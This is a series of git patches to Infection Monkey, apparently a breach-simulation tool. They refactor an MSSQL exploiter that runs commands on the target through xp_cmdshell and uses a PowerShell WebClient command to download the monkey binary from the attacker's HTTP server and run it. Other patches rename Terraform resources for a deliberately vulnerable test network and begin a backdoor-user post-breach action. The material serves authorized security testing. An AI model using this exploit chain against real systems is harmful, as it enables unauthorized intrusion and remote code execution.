+        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
         # Form monkey's launch command
         monkey_args = build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1,
                                                dst_path)
-        suffix = ">>%s" % tmp_file_path
+        suffix = ">>%s" % self.payload_file_path
         prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        monkey_launch_command = MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
-                                                        prefix=prefix,
-                                                        suffix=suffix)
-        if not self.try_to_run_mssql_command(monkey_launch_command):
-            return True
-        self.run_file(tmp_file_path)
+        return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
+                                       prefix=prefix,
+                                       suffix=suffix)
 
-        # Remove temporary dir we stored payload at
-        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % tmp_file_path)
-        self.try_to_run_mssql_command(tmp_file_removal_command)
-        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
-        self.try_to_run_mssql_command(tmp_dir_removal_command)
-
-        return True
-
-    def run_file(self, file_path):
-        file_running_command = MSSQLLimitedSizePayload(file_path)
-        return self.try_to_run_mssql_command(file_running_command)
-
-    def create_empty_payload_file(self, file_path):
-        # Create payload file
-        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': file_path}
-        tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
-        return self.try_to_run_mssql_command(tmp_file_creation_command)
-
-    def try_to_run_mssql_command(self, mssql_command):
-        array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
-        if not array_of_commands:
-            LOG.error("Couldn't execute MSSQL because payload was too long")
-            return False
-        return MSSQLExploiter.execute_commands(self.cursor, array_of_commands)
-
-    @staticmethod
-    def execute_commands(cursor, cmds):
-        """
-        Executes commands on MSSQL server
-        :param cursor: MSSQL connection
-        :param cmds: list of commands in MSSQL syntax.
-        :return: True if successfully executed, false otherwise.
-        """
-        try:
-            # Running the cmd on remote host
-            for cmd in cmds:
-                cursor.execute(cmd)
-                sleep(MSSQLExploiter.QUERY_BUFFER)
-        except Exception as e:
-            LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
-            return False
-        return True
+    def get_monkey_download_command(self):
+        dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path,
+                                                                            'dst_path': dst_path}
+        prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
+        return MSSQLLimitedSizePayload(command=monkey_download_command,
+                                       suffix=suffix,
+                                       prefix=prefix)
 
     def brute_force(self, host, port, users_passwords_pairs_list):
         """
@@ -185,7 +183,7 @@ class MSSQLExploiter(HostExploiter):
 
         LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
                     'aborting brute force'.format(host, port))
-        return None
+        raise Exception("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
 
 
 class MSSQLLimitedSizePayload(LimitedSizePayload):
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
new file mode 100644
index 000000000..eabe8d9d7
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -0,0 +1,5 @@
+
+
+class ExploitingVulnerableMachineError(Exception):
+    """ Raise when exploiter failed, but machine is vulnerable"""
+    pass
diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py
index bc74128e2..91a25c270 100644
--- a/monkey/infection_monkey/exploit/tools/helpers.py
+++ b/monkey/infection_monkey/exploit/tools/helpers.py
@@ -47,6 +47,13 @@ def get_interface_to_target(dst):
         return ret[1]
 
 
+def try_get_target_monkey(host):
+    src_path = get_target_monkey(host)
+    if not src_path:
+        raise Exception("Can't find suitable monkey executable for host %r", host)
+    return src_path
+
+
 def get_target_monkey(host):
     from infection_monkey.control import ControlClient
     import platform
diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py
index f23ba8276..0de47b155 100644
--- a/monkey/infection_monkey/exploit/tools/http_tools.py
+++ b/monkey/infection_monkey/exploit/tools/http_tools.py
@@ -7,8 +7,8 @@ from threading import Lock
 from infection_monkey.network.firewall import app as firewall
 from infection_monkey.network.info import get_free_tcp_port
 from infection_monkey.transport import HTTPServer, LockedHTTPServer
-from infection_monkey.exploit.tools.helpers import get_interface_to_target
-
+from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
+from infection_monkey.model import DOWNLOAD_TIMEOUT
 
 __author__ = 'itamar'
 
@@ -16,6 +16,7 @@ LOG = logging.getLogger(__name__)
 
 
 class HTTPTools(object):
+
     @staticmethod
     def create_transfer(host, src_path, local_ip=None, local_port=None):
         if not local_port:
@@ -33,6 +34,14 @@ class HTTPTools(object):
 
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
 
+    @staticmethod
+    def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
+        http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
+        if not http_path:
+            raise Exception("Http transfer creation failed.")
+        LOG.info("Started http server on %s", http_path)
+        return http_path, http_thread
+
     @staticmethod
     def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
         """
@@ -60,3 +69,22 @@ class HTTPTools(object):
         httpd.start()
         lock.acquire()
         return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
+
+
+class MonkeyHTTPServer(HTTPTools):
+    def __init__(self, host):
+        super(MonkeyHTTPServer, self).__init__()
+        self.http_path = None
+        self.http_thread = None
+        self.host = host
+
+    def start(self):
+        # Get monkey exe for host and it's path
+        src_path = try_get_target_monkey(self.host)
+        self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
+
+    def stop(self):
+        if not self.http_path or not self.http_thread:
+            raise Exception("Can't stop http server that wasn't started!")
+        self.http_thread.join(DOWNLOAD_TIMEOUT)
+        self.http_thread.stop()
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py
index a02071333..31632b045 100644
--- a/monkey/infection_monkey/exploit/tools/payload_parsing.py
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py
@@ -10,18 +10,13 @@ class Payload(object):
     """
 
     def __init__(self, command, prefix="", suffix=""):
-        """
-        :param command: command
-        :param prefix: commands prefix
-        :param suffix: commands suffix
-        """
         self.command = command
         self.prefix = prefix
         self.suffix = suffix
 
     def get_payload(self, command=""):
         """
-        Returns prefixed and suffixed command (full payload)
+        Returns prefixed and suffixed command (payload)
         :param command: Command to suffix/prefix. If no command is passed than objects' property is used
         :return: prefixed and suffixed command (full payload)
         """
@@ -50,9 +45,9 @@ class LimitedSizePayload(Payload):
 
     def split_into_array_of_smaller_payloads(self):
         if self.is_suffix_and_prefix_too_long():
-            LOG.error("Can't split command into smaller sub-commands because commands' prefix and suffix already "
-                      "exceeds required length of command.")
-            return False
+            raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
+                            "exceeds required length of command.")
+
         elif self.command == "":
             return [self.prefix+self.suffix]
         wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
@@ -62,7 +57,7 @@ class LimitedSizePayload(Payload):
         return commands
 
     def get_max_sub_payload_length(self):
-        return self.max_length - len(self.prefix) - len(self.suffix) - 1
+        return self.max_length - len(self.prefix) - len(self.suffix)
 
     def payload_is_too_long(self, command):
-        return len(command) > self.max_length
+        return len(command) >= self.max_length
diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing_test.py b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
new file mode 100644
index 000000000..af682dbff
--- /dev/null
+++ b/monkey/infection_monkey/exploit/tools/payload_parsing_test.py
@@ -0,0 +1,32 @@
+from unittest import TestCase
+from payload_parsing import Payload, LimitedSizePayload
+
+
+class TestPayload(TestCase):
+    def test_get_payload(self):
+        test_str1 = "abc"
+        test_str2 = "atc"
+        payload = Payload(command="b", prefix="a", suffix="c")
+        assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
+
+    def test_is_suffix_and_prefix_too_long(self):
+        pld_fail = LimitedSizePayload("b", 2, "a", "c")
+        pld_success = LimitedSizePayload("b", 3, "a", "c")
+        assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
+
+    def test_split_into_array_of_smaller_payloads(self):
+        test_str1 = "123456789"
+        pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
+        array1 = pld1.split_into_array_of_smaller_payloads()
+        test1 = bool(array1[0] == "prefix1234suffix" and
+                     array1[1] == "prefix5678suffix" and
+                     array1[2] == "prefix9suffix")
+
+        test_str2 = "12345678"
+        pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
+        array2 = pld2.split_into_array_of_smaller_payloads()
+        test2 = bool(array2[0] == "prefix1234suffix" and
+                     array2[1] == "prefix5678suffix" and len(array2) == 2)
+
+        assert test1 and test2
+
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index 692e278fb..d3f046f56 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -26,6 +26,7 @@ from infection_monkey.windows_upgrader import WindowsUpgrader
 from infection_monkey.post_breach.post_breach_handler import PostBreach
 from common.utils.attack_utils import ScanStatus
 from infection_monkey.exploit.tools.helpers import get_interface_to_target
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
 
 __author__ = 'itamar'
 
@@ -300,7 +301,11 @@ class InfectionMonkey(object):
                 return True
             else:
                 LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
-
+        except ExploitingVulnerableMachineError as exc:
+            LOG.error("Exception while attacking %s using %s: %s",
+                      machine, exploiter.__class__.__name__, exc)
+            self.successfully_exploited(machine, exploiter)
+            return True
         except Exception as exc:
             LOG.exception("Exception while attacking %s using %s: %s",
                           machine, exploiter.__class__.__name__, exc)

From 6c49cabbc2c7515a41558d976c00aa6825df6263 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 3 Sep 2019 16:27:11 +0300
Subject: [PATCH 16/78] Changed string formatting to latest syntax

---
 monkey/infection_monkey/exploit/mssqlexec.py | 24 ++++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index fc27cc600..132103287 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -36,10 +36,10 @@ class MSSQLExploiter(HostExploiter):
     XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
     XP_CMDSHELL_COMMAND_END = "\""
     EXPLOIT_COMMAND_PREFIX = "<nul set /p="
-    EXPLOIT_COMMAND_SUFFIX = ">>%(payload_file_path)s"
-    CREATE_COMMAND_SUFFIX = ">%(payload_file_path)s"
+    EXPLOIT_COMMAND_SUFFIX = ">>{payload_file_path}"
+    CREATE_COMMAND_SUFFIX = ">{payload_file_path}"
     MONKEY_DOWNLOAD_COMMAND = "powershell (new-object System.Net.WebClient)." \
-                              "DownloadFile(^\'%(http_path)s^\' , ^\'%(dst_path)s^\')"
+                              "DownloadFile(^\'{http_path}^\' , ^\'{dst_path}^\')"
 
     def __init__(self, host):
         super(MSSQLExploiter, self).__init__(host)
@@ -79,11 +79,11 @@ class MSSQLExploiter(HostExploiter):
         return self.run_mssql_command(file_running_command)
 
     def create_temp_dir(self):
-        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
         self.run_mssql_command(dir_creation_command)
 
     def create_empty_payload_file(self):
-        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
+        suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
         tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
         self.run_mssql_command(tmp_file_creation_command)
 
@@ -110,9 +110,9 @@ class MSSQLExploiter(HostExploiter):
 
     def remove_temp_dir(self):
         # Remove temporary dir we stored payload at
-        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del %s" % self.payload_file_path)
+        tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
         self.run_mssql_command(tmp_file_removal_command)
-        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir %s" % MSSQLExploiter.TMP_DIR_PATH)
+        tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
         self.run_mssql_command(tmp_dir_removal_command)
 
     def start_monkey_server(self):
@@ -133,18 +133,18 @@ class MSSQLExploiter(HostExploiter):
         monkey_args = build_monkey_commandline(self.host,
                                                get_monkey_depth() - 1,
                                                dst_path)
-        suffix = ">>%s" % self.payload_file_path
+        suffix = ">>{}".format(self.payload_file_path)
         prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        return MSSQLLimitedSizePayload(command="%s %s %s" % (dst_path, DROPPER_ARG, monkey_args),
+        return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
                                        prefix=prefix,
                                        suffix=suffix)
 
     def get_monkey_download_command(self):
         dst_path = get_monkey_dest_path(self.monkey_server.http_path)
-        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND % {'http_path': self.monkey_server.http_path,
-                                                                            'dst_path': dst_path}
+        monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+            format(http_path=self.monkey_server.http_path, dst_path=dst_path)
         prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
-        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX % {'payload_file_path': self.payload_file_path}
+        suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
         return MSSQLLimitedSizePayload(command=monkey_download_command,
                                        suffix=suffix,
                                        prefix=prefix)

From ac702ffc27d9feb2d1373ae4c678d6e2c17e1145 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 3 Sep 2019 16:29:08 +0300
Subject: [PATCH 17/78] Removed useless import in mssqlexec

---
 monkey/infection_monkey/exploit/mssqlexec.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 132103287..9e8fdc9fb 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -8,8 +8,7 @@ import pymssql
 from common.utils.exploit_enum import ExploitType
 from infection_monkey.exploit import HostExploiter
 from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
-from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey, \
-    build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
 from infection_monkey.model import DROPPER_ARG
 from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
 from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError

From c7798879554c3493194d77702e7be79b405009ad Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 3 Sep 2019 17:22:07 +0300
Subject: [PATCH 18/78] Added prefixes to all resources

---
 envs/monkey_zoo/terraform/config.tf     |  3 +-
 envs/monkey_zoo/terraform/firewalls.tf  | 12 ++---
 envs/monkey_zoo/terraform/monkey_zoo.tf | 64 ++++++++++++-------------
 3 files changed, 40 insertions(+), 39 deletions(-)

diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf
index c6108865a..4f9106aae 100644
--- a/envs/monkey_zoo/terraform/config.tf
+++ b/envs/monkey_zoo/terraform/config.tf
@@ -5,6 +5,7 @@ provider "google" {
   credentials = "${file("testproject-000000-0c0b000b00c0.json")}"
 }
 locals {
+  resource_prefix = ""
   service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com"
   monkeyzoo_project="guardicore-22050661"
-}
\ No newline at end of file
+}
diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf
index df33ed4d4..cafb0181d 100644
--- a/envs/monkey_zoo/terraform/firewalls.tf
+++ b/envs/monkey_zoo/terraform/firewalls.tf
@@ -1,5 +1,5 @@
 resource "google_compute_firewall" "islands-in" {
-  name    = "islands-in"
+  name    = "${local.resource_prefix}islands-in"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -13,7 +13,7 @@ resource "google_compute_firewall" "islands-in" {
 }
 
 resource "google_compute_firewall" "islands-out" {
-  name    = "islands-out"
+  name    = "${local.resource_prefix}islands-out"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -26,7 +26,7 @@ resource "google_compute_firewall" "islands-out" {
 }
 
 resource "google_compute_firewall" "monkeyzoo-in" {
-  name    = "monkeyzoo-in"
+  name    = "${local.resource_prefix}monkeyzoo-in"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -39,7 +39,7 @@ resource "google_compute_firewall" "monkeyzoo-in" {
 }
 
 resource "google_compute_firewall" "monkeyzoo-out" {
-  name    = "monkeyzoo-out"
+  name    = "${local.resource_prefix}monkeyzoo-out"
   network = "${google_compute_network.monkeyzoo.name}"
 
   allow {
@@ -52,7 +52,7 @@ resource "google_compute_firewall" "monkeyzoo-out" {
 }
 
 resource "google_compute_firewall" "tunneling-in" {
-  name    = "tunneling-in"
+  name    = "${local.resource_prefix}tunneling-in"
   network = "${google_compute_network.tunneling.name}"
 
   allow {
@@ -64,7 +64,7 @@ resource "google_compute_firewall" "tunneling-in" {
 }
 
 resource "google_compute_firewall" "tunneling-out" {
-  name    = "tunneling-out"
+  name    = "${local.resource_prefix}tunneling-out"
   network = "${google_compute_network.tunneling.name}"
 
   allow {
diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf
index dccbf7fa8..40792672c 100644
--- a/envs/monkey_zoo/terraform/monkey_zoo.tf
+++ b/envs/monkey_zoo/terraform/monkey_zoo.tf
@@ -6,40 +6,40 @@ locals {
 }
 
 resource "google_compute_network" "monkeyzoo" {
-  name                    = "monkeyzoo"
+  name = "${local.resource_prefix}monkeyzoo"
   auto_create_subnetworks = false
 }
 
 resource "google_compute_network" "tunneling" {
-  name                    = "tunneling"
+  name = "${local.resource_prefix}tunneling"
   auto_create_subnetworks = false
 }
 
 resource "google_compute_network" "tunneling2" {
-  name                    = "tunneling2"
+  name = "${local.resource_prefix}tunneling2"
   auto_create_subnetworks = false
 }
 
 resource "google_compute_subnetwork" "monkeyzoo-main" {
-  name            = "monkeyzoo-main"
+  name = "${local.resource_prefix}monkeyzoo-main"
   ip_cidr_range   = "10.2.2.0/24"
   network         = "${google_compute_network.monkeyzoo.self_link}"
 }
 
 resource "google_compute_subnetwork" "tunneling-main" {
-  name            = "tunneling-main"
+  name = "${local.resource_prefix}tunneling-main"
   ip_cidr_range   = "10.2.1.0/28"
   network         = "${google_compute_network.tunneling.self_link}"
 }
 
 resource "google_compute_subnetwork" "tunneling2-main" {
-  name            = "tunneling2-main"
+  name = "${local.resource_prefix}tunneling2-main"
   ip_cidr_range   = "10.2.0.0/27"
   network         = "${google_compute_network.tunneling2.self_link}"
 }
 
 resource "google_compute_instance_from_template" "hadoop-2" {
-  name         = "hadoop-2"
+  name = "${local.resource_prefix}hadoop-2"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -56,7 +56,7 @@ resource "google_compute_instance_from_template" "hadoop-2" {
 }
 
 resource "google_compute_instance_from_template" "hadoop-3" {
-  name         = "hadoop-3"
+  name = "${local.resource_prefix}hadoop-3"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -71,7 +71,7 @@ resource "google_compute_instance_from_template" "hadoop-3" {
 }
 
 resource "google_compute_instance_from_template" "elastic-4" {
-  name         = "elastic-4"
+  name = "${local.resource_prefix}elastic-4"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -86,7 +86,7 @@ resource "google_compute_instance_from_template" "elastic-4" {
 }
 
 resource "google_compute_instance_from_template" "elastic-5" {
-  name         = "elastic-5"
+  name = "${local.resource_prefix}elastic-5"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -102,7 +102,7 @@ resource "google_compute_instance_from_template" "elastic-5" {
 
 /* Couldn't find ubuntu packages for required samba version (too old).
 resource "google_compute_instance_from_template" "sambacry-6" {
-  name         = "sambacry-6"
+  name = "${local.resource_prefix}sambacry-6"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -118,7 +118,7 @@ resource "google_compute_instance_from_template" "sambacry-6" {
 
 /* We need custom 32 bit Ubuntu machine for this (there are no 32 bit ubuntu machines in GCP).
 resource "google_compute_instance_from_template" "sambacry-7" {
-  name         = "sambacry-7"
+  name = "${local.resource_prefix}sambacry-7"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk {
     initialize_params {
@@ -134,7 +134,7 @@ resource "google_compute_instance_from_template" "sambacry-7" {
 */
 
 resource "google_compute_instance_from_template" "shellshock-8" {
-  name         = "shellshock-8"
+  name = "${local.resource_prefix}shellshock-8"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -149,7 +149,7 @@ resource "google_compute_instance_from_template" "shellshock-8" {
 }
 
 resource "google_compute_instance_from_template" "tunneling-9" {
-  name         = "tunneling-9"
+  name = "${local.resource_prefix}tunneling-9"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -168,7 +168,7 @@ resource "google_compute_instance_from_template" "tunneling-9" {
 }
 
 resource "google_compute_instance_from_template" "tunneling-10" {
-  name         = "tunneling-10"
+  name = "${local.resource_prefix}tunneling-10"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -187,7 +187,7 @@ resource "google_compute_instance_from_template" "tunneling-10" {
 }
 
 resource "google_compute_instance_from_template" "tunneling-11" {
-  name         = "tunneling-11"
+  name = "${local.resource_prefix}tunneling-11"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -202,7 +202,7 @@ resource "google_compute_instance_from_template" "tunneling-11" {
 }
 
 resource "google_compute_instance_from_template" "sshkeys-11" {
-  name         = "sshkeys-11"
+  name = "${local.resource_prefix}sshkeys-11"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -217,7 +217,7 @@ resource "google_compute_instance_from_template" "sshkeys-11" {
 }
 
 resource "google_compute_instance_from_template" "sshkeys-12" {
-  name         = "sshkeys-12"
+  name = "${local.resource_prefix}sshkeys-12"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -233,7 +233,7 @@ resource "google_compute_instance_from_template" "sshkeys-12" {
 
 /*
 resource "google_compute_instance_from_template" "rdpgrinder-13" {
-  name         = "rdpgrinder-13"
+  name = "${local.resource_prefix}rdpgrinder-13"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -248,7 +248,7 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" {
 */
 
 resource "google_compute_instance_from_template" "mimikatz-14" {
-  name         = "mimikatz-14"
+  name = "${local.resource_prefix}mimikatz-14"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -263,7 +263,7 @@ resource "google_compute_instance_from_template" "mimikatz-14" {
 }
 
 resource "google_compute_instance_from_template" "mimikatz-15" {
-  name         = "mimikatz-15"
+  name = "${local.resource_prefix}mimikatz-15"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -278,7 +278,7 @@ resource "google_compute_instance_from_template" "mimikatz-15" {
 }
 
 resource "google_compute_instance_from_template" "mssql-16" {
-  name         = "mssql-16"
+  name = "${local.resource_prefix}mssql-16"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -294,7 +294,7 @@ resource "google_compute_instance_from_template" "mssql-16" {
 
 /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed)
 resource "google_compute_instance_from_template" "upgrader-17" {
-  name         = "upgrader-17"
+  name = "${local.resource_prefix}upgrader-17"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -313,7 +313,7 @@ resource "google_compute_instance_from_template" "upgrader-17" {
 */
 
 resource "google_compute_instance_from_template" "weblogic-18" {
-  name         = "weblogic-18"
+  name = "${local.resource_prefix}weblogic-18"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -328,7 +328,7 @@ resource "google_compute_instance_from_template" "weblogic-18" {
 }
 
 resource "google_compute_instance_from_template" "weblogic-19" {
-  name         = "weblogic-19"
+  name = "${local.resource_prefix}weblogic-19"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -343,7 +343,7 @@ resource "google_compute_instance_from_template" "weblogic-19" {
 }
 
 resource "google_compute_instance_from_template" "smb-20" {
-  name         = "smb-20"
+  name = "${local.resource_prefix}smb-20"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -358,7 +358,7 @@ resource "google_compute_instance_from_template" "smb-20" {
 }
 
 resource "google_compute_instance_from_template" "scan-21" {
-  name         = "scan-21"
+  name = "${local.resource_prefix}scan-21"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -373,7 +373,7 @@ resource "google_compute_instance_from_template" "scan-21" {
 }
 
 resource "google_compute_instance_from_template" "scan-22" {
-  name         = "scan-22"
+  name = "${local.resource_prefix}scan-22"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -388,7 +388,7 @@ resource "google_compute_instance_from_template" "scan-22" {
 }
 
 resource "google_compute_instance_from_template" "struts2-23" {
-  name         = "struts2-23"
+  name = "${local.resource_prefix}struts2-23"
   source_instance_template = "${local.default_ubuntu}"
   boot_disk{
     initialize_params {
@@ -403,7 +403,7 @@ resource "google_compute_instance_from_template" "struts2-23" {
 }
 
 resource "google_compute_instance_from_template" "struts2-24" {
-  name         = "struts2-24"
+  name = "${local.resource_prefix}struts2-24"
   source_instance_template = "${local.default_windows}"
   boot_disk{
     initialize_params {
@@ -418,7 +418,7 @@ resource "google_compute_instance_from_template" "struts2-24" {
 }
 
 resource "google_compute_instance_from_template" "island-linux-250" {
-  name         = "island-linux-250"
+  name = "${local.resource_prefix}island-linux-250"
   machine_type         = "n1-standard-2"
   tags = ["island", "linux", "ubuntu16"]
   source_instance_template = "${local.default_ubuntu}"
@@ -439,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" {
 }
 
 resource "google_compute_instance_from_template" "island-windows-251" {
-  name         = "island-windows-251"
+  name = "${local.resource_prefix}island-windows-251"
   machine_type         = "n1-standard-2"
   tags = ["island", "windows", "windowsserver2016"]
   source_instance_template = "${local.default_windows}"

From 52a95935c873b8f367e05e69a1eb4c66b2546e13 Mon Sep 17 00:00:00 2001
From: Shay Nehmad <shay.nehmad@guardicore.com>
Date: Tue, 3 Sep 2019 21:17:13 +0300
Subject: [PATCH 19/78] Added new user communication PBA and ZT test, not
 working yet WIP!

---
 monkey/common/data/post_breach_consts.py      |  1 +
 monkey/common/data/zero_trust_consts.py       | 18 +++-
 .../post_breach/actions/add_user.py           | 40 +++++++-
 .../actions/communicate_as_new_user.py        | 98 +++++++++++++++++++
 monkey/infection_monkey/post_breach/pba.py    |  3 +-
 .../post_breach/post_breach_handler.py        |  3 +-
 .../cc/services/config_schema.py              |  8 ++
 .../telemetry/processing/post_breach.py       | 17 +++-
 .../communicate_as_new_user.py                | 35 +++++++
 9 files changed, 214 insertions(+), 9 deletions(-)
 create mode 100644 monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py
 create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py

diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py
index 8262757ca..dee4f67d0 100644
--- a/monkey/common/data/post_breach_consts.py
+++ b/monkey/common/data/post_breach_consts.py
@@ -1,2 +1,3 @@
+POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user"
 POST_BREACH_BACKDOOR_USER = "Backdoor user"
 POST_BREACH_FILE_EXECUTION = "File execution"
diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py
index 3cf9cda92..9a452d706 100644
--- a/monkey/common/data/zero_trust_consts.py
+++ b/monkey/common/data/zero_trust_consts.py
@@ -30,6 +30,7 @@ TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
 TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
